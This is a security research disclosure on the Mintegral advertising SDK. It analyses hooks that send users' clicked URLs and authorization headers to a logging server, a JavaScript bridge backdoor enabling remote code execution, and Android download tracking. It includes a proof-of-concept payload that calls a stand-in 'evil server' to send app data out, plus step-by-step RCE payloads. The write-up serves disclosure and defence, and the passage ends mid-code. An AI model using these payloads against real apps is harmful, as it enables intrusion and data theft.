SourMint malicious SDK research write up
Kirill Efimov
October 16, 2020
0 mins readExcessive data collection on iOS [August 2020]
Remote Code Execution (RCE) on iOS [October 2020]
Download tracking in Android [October 2020]
Overview
The Mintegral SDK is a popular mobile app advertising SDK available for both the iOS and Android platforms. It is used by thousands of mobile apps with over a billion downloads per month. The SDK is used by application developers to monetize their apps with third-party ads.
The Snyk security research team has made two significant disclosures surrounding the Mintegral SDK. The first disclosure was published in August 2020 and discovered excessive data collection and click hijacking that was performed on the iOS distribution of the SDK, the second disclosure discovered a backdoor found on the iOS version of the SDK that allows remote code execution, along with some new findings on the Android distribution of the SDK.
The aim of this article is to share the technical details of our research and findings beyond what was covered in the blog posts.
This write up is divided into three sections:
Excessive Data Collection, including all HTTP request interception and logging in the iOS SDK - originally published on 24th of August 2020 - describes the URL and request tracking capabilities in the iOS distribution of the Mintegral SDK.
A backdoor in the iOS distribution of the SDK allows Remote Code Execution - describes the remote code execution capabilities in MintegralAdSDK published on 15th of October 2020.
Downloads URL tracking in Android - describes various findings in the Android distribution of the Mintegral SDK.
Excessive data collection on iOS [August 2020]
Overview
This part of the research was conducted on the binary version of Mintegral iOS SDK, since the open source version was not yet available to us in August 2020. The following research was conducted on version 6.3.5.0 of the SDK (for x86 arch) available for download from github.
We have identified that Mintegral iOS SDK versions 5.5.1 and above contain malicious functionality which leads to information leakage. In simple terms the SDK is spying on user link clicking, and network activity within the affected apps. The spying occurs even if the SDK was not enabled by the developer or the ad mediation platform, and the SDK attempts to hide the malicious behavior by identifying proxy, simulators and jail broken devices.
Method swizzling
Mintegral SDK uses a technique called method swizzling to replace implementations of the UIApplication openURL
and SKStoreProductViewController loadProductWithParameters
methods at runtime, as well it registers a custom NSURLProtocol
class.
These hooks are used to spy on application users by sending all the information about HTTP requests, opened URLs and App Store links they click on from within the application.
The HTTP request headers and URLs themself could contain sensitive data, but together with IDFA (Identifier for Advertisers), this data allows Mintegral to perform advertisement attribution fraud.
Advertisement attribution fraud
To monetise their applications, developers often install advertising platforms. Advertising platforms receive revenue from advertisers for each installation happening after a user clicks on their advertisement. It is not uncommon for developers to use multiple advertising platforms in their aps. Therefore, to determine which ad platform should receive given attribution for the installation, each click gets registered to an attribution provider, a mobile measurement platform (MMP).
The figure below shows how the malicious functionality in Mintegral works. In this example, the user clicked on an advertisement from “Another Platform”. But since Mintegral has an ability to intercept all URLs opened by the application it could perform additional requests to an attribution provider pretending that click actually happened by their advertisement. The full process works like this:
The user clicks a link from an in-app advertisement, served by a non-Mintegral ad network, to install a new application from the App Store.
The ad network’s SDK sends the click information to their back-end platform.
Having intercepted the click event via code injected into iOS event handlers through method swizzling, Mintegral logs the click data to their server.
The ad network registers a click notification with the attribution provider.
Mintegral registers a click notification with the attribution provider as well.
When the attribution provider attempts to match the install event to registered click notifications, it finds two that match. Using a last-touch attribution model, the Mintegral click notification is given the attribution and the click notification from the other ad network is rejected.
Snyk worked with a major attribution provider to confirm that Mintegral is using the click data to generate false click notifications. Through their investigation, the provider was able to show that false click notifications were being generated and resulting in mis-attribution of ad clicks to Mintegral.
Demo application
To demonstrate the attack, we setup a demo application.This will show the malicious openURL
hook in action. We use a debugging proxy to intercept all network traffic.
To initialize the application we use the following code snippet from the Mintegral documentation:
1- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
2 [[MTGSDK sharedInstance] setAppID:@"xxxxxx" ApiKey:@"yyyyyyyyyyyyyyyyyyyyyyyyy"];
3 return YES;
4}
With the SDK initialized, we open example.com from the application using a button click:
1- (IBAction)openURLWithOptions:(id)sender {
2 [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"http://example.com?foo=bar&x=y"] options:@{} completionHandler:nil];
3}
After launching the app, we immediately see a couple of requests from the Mintegral SDK in our proxy:
Settings
The response from _https://setting.rayjump.com/setting_is a JSON object with many different options. Following table describes the most interesting fields for our research.
JSON Field | Description |
---|---|
csw | Enable or disable anti-debugging functionality. |
cou | Enable or disable |
cdai | URL to send the leaked information (*). |
cspn | Enable or disable hook on StoreKit methods. |
cud | Enable or disable hook on NSURLProtocol. |
cudl | URLs array to track via NSURLProtocol (**). |
* In our case it was LdxThdi1WBK/WgfPhbxQYkeXHBPwHZKsYFh=
which is https://n.systemlog.me/log after decoding.
** In our case it was kBzuJd5/H+i/D+SMY7V/DFKwR0M0D+SMhBPthdSsHZPUYFT0+N==
which is ["itunes.apple.com","apps.apple.com"]
after decoding.
Payload decoding
We can see two more requests after clicking the button which opens example.com. The first one is a GET request to http://example.com, as we would expect. The second one is a POST request to https://n.systemlog.me/log.
The body of the request looks like it is base64 encoded. But in reality, it is not a base64 encoded string. The Mintergral SDK implements their own encoding and decoding logic which can be found in +[MTGBase base64DecodeString:]
and +[MTGBase base64CleverDecodeString:]
. Note that MTGBase
is not exposed in public headers of the SDK and not meant to be accessible for developers.
We use next code snippet to decode the payload:
1Class cls = NSClassFromString(@"MTGBase");
2NSObject *obj = [cls performSelector:NSSelectorFromString(@"base64CleverDecodeString:") withObject:@"THE REQUEST BODY HERE"];
3NSLog(@"%@", obj);
The payload contains a lot of data including IDFA, IDFV, OS version, user agent and so on. However, it also contains a field called “clever”, which is, again, encoded. We can decode it using base64DecodeString
:
1[{'cn': 'ViewController', 'u': 'http://example.com?foo=bar&x=y', 'nid': 0, 'type': '3', 'mn': 'openURLWithOptions:', 'trc': '["2|awesomegame|0x0000000104102f18 -[ViewController openURLWithOptions:] + 152","3|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","4|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","5|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","6|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497"]'}]
As you can see it contains the URL, stack trace and some additional information like the controller and the method name.
Going deeper
As was mentioned before - the Mintegral SDK is closed source. We are going to look at version 6.3.5.0 for x86 architecture.
The binary is a Macho executable that contains multiple other binaries. The code we’re interested in resides in _CXX_CXX_OperationPKTask.o
.
Looking at the class, we see +[_CXX_CXX_OperationPKTask load]
which executes automatically when the class is added at runtime. That means if the SDK is installed via CocoaPods, malicious logic is going to be initialized regardless of whether developers actually use the SDK or not.
The load
method performs a series of calls which lead us to ___cxxwebk_init_vw
. This method checks whether the anti-debug protection flag is enabled and initialises hooks if the flag is set to false or if debugging is disabled.
Initialization of the hooks depends on the settings request mentioned above. In the following table we see the relationships between response JSON fields and MTGSetting
class:
JSON Field | MTGSetting Property | Description |
---|---|---|
csw | cSrtW | Enable or disable anti-debugging functionality. |
cou | cOpenURL | Enable or disable |
cspn | cPackageName | Enable or disable hook on StoreKit methods. |
Anti-debug logic
The __cxx_cxx_op_isInSuperViewFrame
function returns true
in the following cases:
Device platform is a “simulator”.
Debugger is attached (implemented in
____mvpmvvm_isDebuggerAttached_block_invoke
).One of the files present on the device (indication of jailbreak)
/Applications/Cydia.app
/Library/MobileSubstrate/MobileSubstrate.dylib
/bin/bash
/usr/sbin/sshd
/etc/apt
/usr/bin/ssh
Proxy is enabled (using
CFNetworkCopySystemProxySettings
).
openURL method swizzling
The logic in the following screenshot is implemented in the ___cxxwebkmcouitninapo
method which is called from ___cxxwebk_init_vw
if the relevant flag is enabled.
"blog-sour-mint-openurl-method-swirl" - The above screenshot shows the method swizzling implementation. It performs the following calls:
NSSelectorFromString
to get a selector for the “openURL:” method.NSClassFromString
to get a class descriptor forUIApplication
.class_getInstanceMethod
to get the method descriptor.method_getImplementation
to get actual implementation of the method.Then they define a code block which calls
_____cxxwebkmcouitninapo_block_invoke_2
and then calls the originalopenURL
.method_setImplementation
to replace the original openURL with the code block from the previous step.
Almost the same happens for openURL:options:completionHandler:
method except that they check the system version before doing so (the handler was first introduced in iOS 10).
At this point we had seen how the hook was applied. Next we will look at the implementation of the hook itself (_____cxxwebkmcouitninapo_block_invoke_2
).
The openURL hook implementation
Effectively, the implementation is located in the ___cxxwebkmcoulsz
method. There we can see one more anti-debug check call, then it checks the __mc_notifyInHouse
flag and does nothing if this flag is 1.
This is done to ignore all marketing URLs clicked by a user on a Mintegral served ad. We can see relevant logic in +[MTGBase mtgOpenURL:options:completionHandler:]
in the screenshot below:
Next piece of code shows that they also serialize the backtrace data and leak it in the payload they send to https://n.systemlog.me/log.
We are able to set a breakpoint at the +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:]
call. You can see the call arguments on the next screenshot:
The URL that was opened (http://example.com?foo=bar&x=y).
The class where the click happened (
ViewController
).The method from within where the click happened (
openURLWithOptions:
).Backtrace info.
Another interesting function is _nsh_id_by_cc
, which seems to be responsible for identifying competitor SDKs. Relevant logic shown in the next screenshot:
Going back to +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:]
, after the payload has been encoded via +[MTGBase base64EncodeString:]
it creates a new code block and uses _dispatch_async
to invoke it.
It leads to a series of calls with additional payload transformations and ends up in -[_MC_ApiManager AFRequestWithUrl:paras:success:failure:]
, which makes a post request to collectDomainUrl
from MTGSetting
which is https://n.systemlog.me/log by default.
A video demonstrating how a private URL can be leaked.
SKStoreProductViewController hook
SKStoreProductViewController
is a view controller that provides a page where the user can purchase media from the App Store.
The loadProductWithParameters:completionBlock:
method loads a new product screen to display.
Instead of going into technical details of the hook implementation we added next code snippet to the demo application:
1- (IBAction)openSKStoreProductViewController:(id)sender {
2 SKStoreProductViewController *storeViewController = [[SKStoreProductViewController alloc] init];
3 [storeViewController setDelegate:self];
4 NSDictionary *productParams = @{SKStoreProductParameterITunesItemIdentifier: [NSNumber numberWithInt:1234567890]};
5 [storeViewController loadProductWithParameters:productParams completionBlock:nil];
6
As a result we see a POST request to https://n.systemlog.me/log with the next payload in the “clever” field:
1[{'cn': 'UIApplication', 'mn': 'sendAction:to:from:forEvent:', 'nid': 0, 'aid': '{"id":1234567890}', 'type': '2', 'trc': '["2|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","3|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","4|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","5|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497","6|UIKitCore|0x00007fff49362508 -[UIWindow _sendTouchesForEvent:] + 1359"]', 'dur': 24}]
As we can see the product ID is in the request Q.E.D.
NSURLProtocol hook
NSURLProtocol
class allows a developer to redefine how Apple’s URL loading system operates. The Mintegral SDK registers malicious implementation of NSURLProtocol
, which can be configured remotely to intercept any outgoing requests made by an application and track URLs and HTTP headers including the Authorization header.
For application developers it means that API tokens, cookies and basic authentication headers could potentially be collected by Mintegral.
To understand how the SDK activates that part of the malicious code we have to look back to ___cxxwebk_init_vw
.
The above screenshot shows that the cud
flag should be enabled and the cudl
array shouldn’t be empty to activate the hook.
The following screenshot shows part of the ___cxxwebkterisiuuxx
function called from the above method.
The code in the ___cxxwebkterisiuuxx
function performs the following actions:
Creates a class inherited from
NSURLProtocol
(objc_registerClassPair
,objc_allocateClassPair
).Adds an implementation for
canInitWithRequest:
which is effectively an interceptor (class_addMethod
).Calls
+[NSURLProtocol registerClass:]
to register the class with the URL loading system.
In our research, we added the following code snippet to verify what data is collected by the malicious code:
1- (IBAction)httpRequestWithURLSession:(id)sender {
2 NSURLSessionConfiguration *sConf = [NSURLSessionConfiguration defaultSessionConfiguration];
3 sConf.HTTPAdditionalHeaders = @{@"Authorization": @"Basic YWRtaW46YWRtaW4K"};
4 NSURLSession *session = [NSURLSession sessionWithConfiguration:sConf];
5 NSMutableURLRequest *req = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:@"http://example.com/get-secret-data"]];
6 req.HTTPBody = [@"foo=bar" dataUsingEncoding:NSUTF8StringEncoding];
7 req.HTTPMethod = @"POST";
8 NSURLSessionDataTask *task = [session dataTaskWithRequest:req];
9 [task resume];
10}
As a result we see a POST request to https://n.systemlog.me/log with the following payload in the “clever” field:
1[{'cn': '', 'u': 'http://example.com/get-secret-data', 'mn': '', 'nid': 0, 'hhf': '{"Authorization":"Basic YWRtaW46YWRtaW4K","Content-Length":"7"}', 'type': '1', 'hm': 'POST'}]
In the request, we can see the URL and the authorization header. Although the request body is not included, headers often contain sensitive data. That data could even include personally identifiable information. For example, if an API uses JWT tokens, email or user name could be stored inside the token.
Conclusion
During the research we observed many interesting techniques Mintegral developers use to hide the malicious behaviour of their SDK. As we can see, they activate hooks only on specific applications in specific regions which helped the malicious code stay there for more than one year without any attention.
Talking about timeline, the first version (5.5.1) of the malicious SDK was published on Jul 17, 2019. We found that all subsequent versions housed the same malicious functionality.
Many popular applications were affected by the malicious activities of this SDK. We hope this research shedding light on the situation will drive greater scrutiny and privacy controls for advertiser networks moving forward.
Remote Code Execution (RCE) on iOS [October 2020]
TLDR
We discovered the MTGBaseBridgeWebView
class, used everywhere in the SDK to communicate with JavaScript, acts as a backdoor, allowing for the invocation of arbitrary functions from the native application code.
In the picture above you can see a simplified schema of the remote code execution in action.
Diff analysis
After our first public disclosure, Mintegral announced the release of an open source version of the SDK.
We went ahead and compared the new open source version, to the previous binary version distributed as cocoapod. While we didn’t have the source code for the older version, we could still compare the class names. To do that we extracted the .o
files from the binaries and compared the symbols with the .h
files of the open source version.
As expected, a previously discovered malicious _CXX_CXX_OperationPKTask
component was indeed deleted but something else came up in the diff. The following classes caught our attention:
MTGCommandDispatcher
MTGComponentCommands
MTGRemoteCommand
MTGRemoteCommandParameterModel
MTGRemoteCommandParser
MTGInvocationBoxing
We decided to take a closer look at the binaries to understand what those files were used for.
Affected versions
All versions of MintegralAdSDK prior to 6.5.0.0, inclusive. Version 6.6.0.0 published on the 10th of September 2020 doesn’t have the backdoor functionality described in this paper.
The bridge implementation
We started by looking where the MTGRemoteCommandParser
class is used and found only one place: -(void)handleNativeObject:parameters:
in the MTGBaseBridgeWebView
class.
From the implementation we can see that -(void)handleNativeObject:parameters:
uses MTGRemoteCommandParser
to parse the parameters
argument and invokes the -(void)dispatchCommand:feedback:
method in the MTGCommandDispatcher
class.
At the first glance -(void)handleNativeObject:parameters:
is not used, but that's not the case. Let’s see how it can be invoked from JavaScript code.
MTGBaseBridgeWebView
implements the -(void)webView:decidePolicyForNavigationAction:decisionHandler:
method of the WKNavigationDelegate protocol. This method is called every time the navigation happens in the web view. This means we can trigger this method from within JavaScript by simply calling location.href=something
. In the open source version of the SDK we found a regular expression that parses navigation request URLs: mv://(.+?):(.+?)/(.+?)\\?([\\s\\S]*)
.
-(void)callFunctionWithName:fucId:param:
in the screenshot above simply performs a call to self
with fucName
selector.
So, to call -(void)handleNativeObject:parameters:
of MTGBaseBridgeWebView
we need to have the following line of JavaScript code: location.href = 'mv://1:fucId/handleNativeObject?<parameters>'
.
Please note that everything we have described above is still valid in the latest version of the SDK, at the time of writing, as well as the open source version of the SDK. The only exception is that -(void)handleNativeObject:parameters:
has been deleted from the latest releases.
Remote method invocation
We are not going to describe the full implementation of MTGInvocationBoxing
and other classes. Instead we will show how it’s possible to craft malicious JavaScript code to trigger the remote method.
The following proof of concept attacks a "simple note" application, that has a NoteRepository class with two methods +(void)save:
and +(NSString*)load
.
We inject the malicious JavaScript code by replacing the Mintegral server with our own server implementation. The full source code of this application and server can be found here .
The malicious JavaScript code for this application is as follows:
1window.WindVane = {
2 onSuccess: function (_, data) {
3 fetch('https://demo-evil-server.com/log?data=' + encodeURIComponent(atob(data)));
4 }
5 };
6
7location.href = 'mv://1:fucId/handleNativeObject?{"uniqueIdentifier":"hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP","name":"Y7KtHv==","result":{"type":3}}';
Value | Decoded |
---|---|
hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP | static_NoteRepository |
Y7KtHv== | load |
This code will call the +(NSString*)load
method of the NoteRepository
class and send the result to our demo-evil-server.com/log endpoint.
It uses the same obfuscation techniques as described in the previous section. But the proof of concept already contains JavaScript code to perform encoding and decoding (see banner.html
).
Gaining full remote code execution (RCE)
In the example above we have seen how the SDK can be used to invoke any static method of an arbitrary class. In this section we will demonstrate how this can be leveraged to run any native code.
For demonstration purposes we will show how it’s possible to create a UIAlertController
with the message "PWNED!".
Let’s look at the following Objective-C code as a reference:
1UIAlertController *alert = [[UIAlertController alloc] init];
2[alert setMessage:@"PWNED!"];
3[[[[UIApplication sharedApplication] keyWindow] rootViewController] presentViewController:alert animated:YES completion:nil];
We need to figure out how to create and keep an instance of the UIAlertController
between calls, how to get a shared application instance and how to call presentViewController:animated:completion:
with the instance.
Step 1: Save ref to UIAlertController
class
1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2 'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
3 'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
4 'parameters': [
5 {
6 'type': 1,
7 'value': {'uniqueIdentifier': 'hbxtJ7QU+25zNkeQhgxaYFPThrKsY75B'} // static_UIAlertController
8 },
9 {'type': 2, 'value': 'a' }
10 ]
11});
The MTGRemoteCommandParser
supports two types of object references:
static
- gets a reference to a class object by name.singleton
- performs multiple steps:Gets a class by name (
MTGSetting
in our example).Executes the
sharedInstance
method on the class.[MTGSetting sharedInstance]
in Objective-C.Uses
valueForKey:
to get dot-separated properties. In our case this will be[[MTGSetting sharedInstance] valueForKey:@"jsonTitles"]
.
Note that jsonTitles
is just an instance of NSMutableDictionary
. In the exploit it is used as temporary storage for our refs. The MTGRemoteCommandParser
supports next parameters types:
0
- number.1
- reference.2
- string.4
-nil
.
The reference (1
) type allows us to pass a reference to an object as an argument of a method. Important to note that the uniqueIdentifier
is parsed in exactly the same way as a top-level uniqueIdentifier
- hence there is also support for the singleton
type.
Step 2: Allocate a new instance of UIAlertController
class
1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2 'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
3 'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
4 'parameters': [
5 {
6 'type': 1,
7 // singleton_MTGSetting.jsonTitles.a.alloc.init
8 'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBPtWrcsY7KUWrQ\/L+N='}
9 },
10 {'type': 2, 'value': 'b'}
11 ]
12});
All the magic is happening in singleton_MTGSetting.jsonTitles.a.alloc.init
in this case. As we already know singleton_MTGSetting.jsonTitles.a
provides us with a reference to the UIAlertController
class. But, we need to figure out why [[UIAlertController valueForKey:@"alloc"] valueForKey:@"init"]
works. From the documentation of valueForKey: we know:
The search pattern that valueForKey: uses to find the correct value to return is described in Accessor Search Patterns in Key-Value Coding Programming Guide.
We discovered that valueForKey:
can call any method by name if it is a zero-argument method.
So, we can now create a new instance of the UIAlertController
class, that will be referenced by property b
of jsonTitles
dict.
Step 3: Set "PWNED!" message
1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2 'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0', // singleton_MTGSetting.jsonTitles.b
3 'name': 'hF5Tnk5AhFcgHnE=', // setMessage:
4 'parameters': [{'type': 2, 'value': 'PWNED!'}]
5});
This step is pretty obvious - we call setMessage:
on the UIAlertController
instance to set the PWNED!
message.
Step 4: Save ref to UIApplication
class
1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2 'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
3 'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=',
4 'parameters': [
5 {'type': 1, 'value': {'uniqueIdentifier': 'hbxtJ7QU+25zN+SMY7QUD+xuYF9='}}, // static_UIApplication
6 {'type': 2, 'value': 'x' }
7 ]
8});
This step is similar to step 1. We need to save the UIApplication
class reference in jsonTitles.x
.
Step 5: Show the alert
1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2 // singleton_MTGSetting.jsonTitles.x.sharedApplication.keyWindow.rootViewController
3 'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP9WgfED+zQHjcMh7euDFcTLkK\/WrwQ45JuYrxXJBPBYFKT5rQQJTfXYgxBYFesH+R=',
4 // presentViewController:animated:completion:
5 'name': 'hdzQhF5\/JcHuH+JaYFPThrKsY75BGrc\/Lk2tJ753GrfXY+SsH+xuYF91',
6 'parameters': [
7 {
8 'type': 1,
9 // singleton_MTGSetting.jsonTitles.b
10 'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0'}
11 },
12 {'type': 0, 'value': 1},
13 {'type': 4} // nil
14 ]
15});
This step looks complicated, but it just utilizes various techniques from the previous steps. In the Objective-c code it will be as follows:
1[MTGSetting.sharedInstance.jsonTitles.x.sharedApplication.keyWindow.rootViewController
2 presentViewController:MTGSetting.sharedInstance.jsonTitles.b // this is out instance of UIAlertController
3 animated: 1
4 completion: nil
5];
At this point we have demonstrated how an alert can be shown with a Remote Code Execution. You can find full payload here. To call the steps one-by-one we created an array of actions and executed each action in the window.WindVane.onSuccess
callback (in turn, after a previous action was completed).
A video demonstrating how clipboard content can be leaked by delivering the exploit via malicious ad.
Source of the JavaScript exploit
We’ve already seen how the Mintegral SDK allows native remote code execution via JavaScript code. However, that JavaScript code is fully owned and controlled by Mintegral. But, interestingly, it’s possible to achieve the same via interactive ADs created by the advertisers themselves. The ads are JavaScript-based web pages.
Theoretically, an advertiser can accurately target a specific group of users or specific set of devices by delivering an malicious ad containing the JavaScript exploit.
Conclusion
We can only speculate as to why Mintegral included the capability to invoke native methods remotely in their SDK, but from the way the classes were named, such as MTGCommandDispatcher
and MTGRemoteCommand
, we believe this was intentional. Additionally, Mintegral removed the code immediately after our publication, despite us not being aware of it at the time.
Download tracking in Android [October 2020]
Overview
In the previous two sections of this research article we shared how the Snyk security team discovered malicious behavior in the Mintegral SDK that can be exploited on iOS devices leading to ad fraud, data leakage and remote code execution (RCE). We wanted to perform more research on the Android distribution of the SDK, which we’ll cover in this section. In summary, here are our key findings:
Download uri tracking from Google, affecting both browser and app downloads, including regular file downloads, email attachments and Google Docs links.
Tracking all APK downloads, both organic or not.
This data is being sent back to Mintegral’s servers.
Observed behavior
Upon downloading a Google Docs link, we noticed the following requests being sent from the app to https://n.systemlog.me:
This is the same endpoint that was used in the iOS SDK to report data back to the Mintegral server. The payload is encoded, but we can use the decode logic that is in the SDK binary, to get the following:
1p = clever=kbs0hoR1R0RsRgD0G0R0Woz2YoR1kBzEJdxMhAuhW2MXH7KUhBPgYFKgY7V%2FDFKw%2BoKAhdzQDkxAL75QJdfhWF59h7KBJaKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrR0M0LdxThdi1%2BoKhWFxXDBTMfo20DB2AL75QJdi%2FHFKXHFeQJ%2BfQhrfXYgxQYgN%2FDFKw%2BoKQ4dSXhgxhWFM2YavAG%2BiFYr32J%2B5whkzALUQXincsYkxU%2BoKuGatrLbf%2FYAcsYbfefAiAJ7wuHkwtf7JqL2MXinDMiUVPia3eiavMicMXinv9in32fAvPiaRPiajFiURPfavA%2BoIq%2BoIeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZnKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrRQTsRrwbRUE0hF5Uhr5TWgS3H0RsRrHsRUE0inRTf0zK%2BN%3D%3D
2app_id=118690
3sign=9329a7706dd43d6ed64d022ad0e7b13b
4platform=1
5os_version=5.1.1
6package_name=com.mintegral.sdk.demo
7app_version_name=1.0
8app_version_code=1
9orientation=1
10model=Android+SDK+built+for+x86
11brand=Android
12gaid=a717e74d-64fa-464e-a28a-cbb8dc67ef6b
13mnc=260
14mcc=310
15network_type=13
16language=en
17timezone=GMT%2B02%3A00
18useragent=Mozilla%2F5.0+%28Linux%3B+Android+5.1.1%3B+Android+SDK+built+for+x86+Build%2FLMY48X%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Version%2F4.0+Chrome%2F39.0.0.0+Mobile+Safari%2F537.36
19sdk_version=MAL_10.5.0
20gp_version=1.8
21screen_size=1080x2160
22has_wx=false
23cache1=747
24cache2=722
25power_rate=100
26charging=1
27http_req=2
28dvi=4BztYrxBYFQ3%2BFQ3RUE0fnVFDn5tDU3Mfkz0H7H3iBRsRrfuHoR1RUv0Woz3Y%2BN0G0Refnl9R0M0H72rRUEbfUvsRrfTRUE0kbl9fQT06N%3D%3D
29unknown_source=1
30sys_id=a54a2ddc-1a89-5ac3-aa69-d6b7906afa29
31is_clever=2
We have two additional encoded parameters, clever
and dvi
. After decoding them as well, we noticed something interesting:
1{
2 "fl": "1246",
3 "kw": "secret.pdf",
4 "p": "",
5 "ul": [
6 "https://docs.google.com/spreadsheets/export?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf",
7 "https://doc-04-bc-sheets.googleusercontent.com/export/l5l039s6ni5uumqbsj9o11lmdc/i88fksno1losq733tkieka4gjk/1602590910000/108195709029016229403/*/10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf"
8 ],
9 "v": ""
10}
11
12{
13 "android_id": "556a5ab905bbdfd3",
14 "cid": "0",
15 "ct": "[x86]",
16 "dmf": 760,
17 "dmt": "1588"
18}
As we can see, the URL of the google sheet we downloaded from the Google Drive app is sent to the backend in the ul
file and the downloaded filename in the kw
field while dvi
holds some data on the device.
Potential uses
In the iOS scenario, fraudulent duplicate clicks were sent from the client’s device onto Mintegral’s servers and then to the attribution provider (MMP). In this case, the downloaded or installed apks are reported to the servers and can potentially be used to generate server-side clicks. The following diagram demonstrates the data flow:
Alphab module
The behavior, mentioned above, is located in the alphab module which was described by Mintegral as an “Optimization package”:
Following our publication, the module was removed from the Mintegral site and seems to no longer be part of the distributed SDK. We’ve decompiled the SDK and located the code responsible for this behavior.
AlphaCommonConst class
1public final class AlphaCommonConst {
2
3 /* renamed from: a */ public static String f0a = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKAJ7eXHM==");
4
5 /* renamed from: b */ public static String f1b = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKsYFh=");
6
7 /* renamed from: c */ public static String f2c = "decode error";
8
9 /* renamed from: d */ public static boolean is_net_debug = false;
10
11 /* renamed from: com.alphab.a$a */ /* compiled from: AlphaCommonConst */ public static class C0000a {
12
13 /* renamed from: a */ public static String ACTION_NET_DEBUG = AlphabBase64Util.m1b("aEqMQ3ckisLAfcxK7En575xOayJIYsT=");
14
15 /* renamed from: b */ public static String f5b = AlphabBase64Util.m1b("aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=");
16 }
This class contains many hard coded constant definitions. Some strings are obfuscated with their own custom Base64 based encoding scheme located in the AlphabBase64Util
class, similar to what we observed in the iOS distribution.
After decoding we get the following strings:
1aEqMQ3ckisLAfcxK7En575xOayJIYsT= = alphab_net_debug_action
2aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN= = android.intent.action.PACKAGE_ADDED
37sHPNsx6f3H6fcnArsxzf0H2 = getContentResolver
4aELKr0xI7UL67iN6HinI = android.net.Uri
5aELKr0xI7ULKaiJOa0cg7jLoYsLP7ELP9sng7ins7iC= = android.database.ContentObserver
6aELKr0xI7ULGYsLP7ELPFKb4YeJAYeJj7ib4Yp7ArR== = android.content.ContentResolver
7r0HeQibP7inoYsLP7ELP9sng7ins7iC= = registerContentObserver
8aELKr0xI7ULGYsLP7ELPFKn2YscKascgfcnAasHIf0H2 = android.content.BroadcastReceiver
9aELKr0xI7ULGYsLP7ELPFKA6f3H6fX7IYpJArR== = android.content.IntentFilter
10aEJKNEbPQEx6 = addAction
11r0HeQibP7inj7EbAQi7ArR== = registerReceiver
These are used in the initialization steps we’ll discuss next.
Alphab receiver
In the init() method of the AlphabReceiver class, the BroadcastReceiver is being initialized with some of the previously obfuscated strings:
1try {
2 AlphabReceiver alphabReceiver = new AlphabReceiver();
3 Class cls = Class.forName(AlphaCommonConst.C0001b.f11f);
4 Class cls2 = Class.forName(AlphaCommonConst.C0001b.f12g);
5 Object newInstance = cls2.newInstance();
6 Method method = IntentFilter.class.getMethod(AlphaCommonConst.C0001b.f13h, String.class);
7 method.invoke(newInstance, AlphaCommonConst.C0000a.ACTION_NET_DEBUG);
8 method.invoke(newInstance, AlphaCommonConst.C0000a.f5b);
9 Context.class.getMethod(AlphaCommonConst.C0001b.f14i, cls, cls2).invoke(context, alphabReceiver, newInstance);
10 } catch (Throwable th) {
11 th.printStackTrace();
12 }
by replacing this with the decoded strings, the code becomes:
1AlphabReceiver alphab_receiver = new AlphabReceiver();
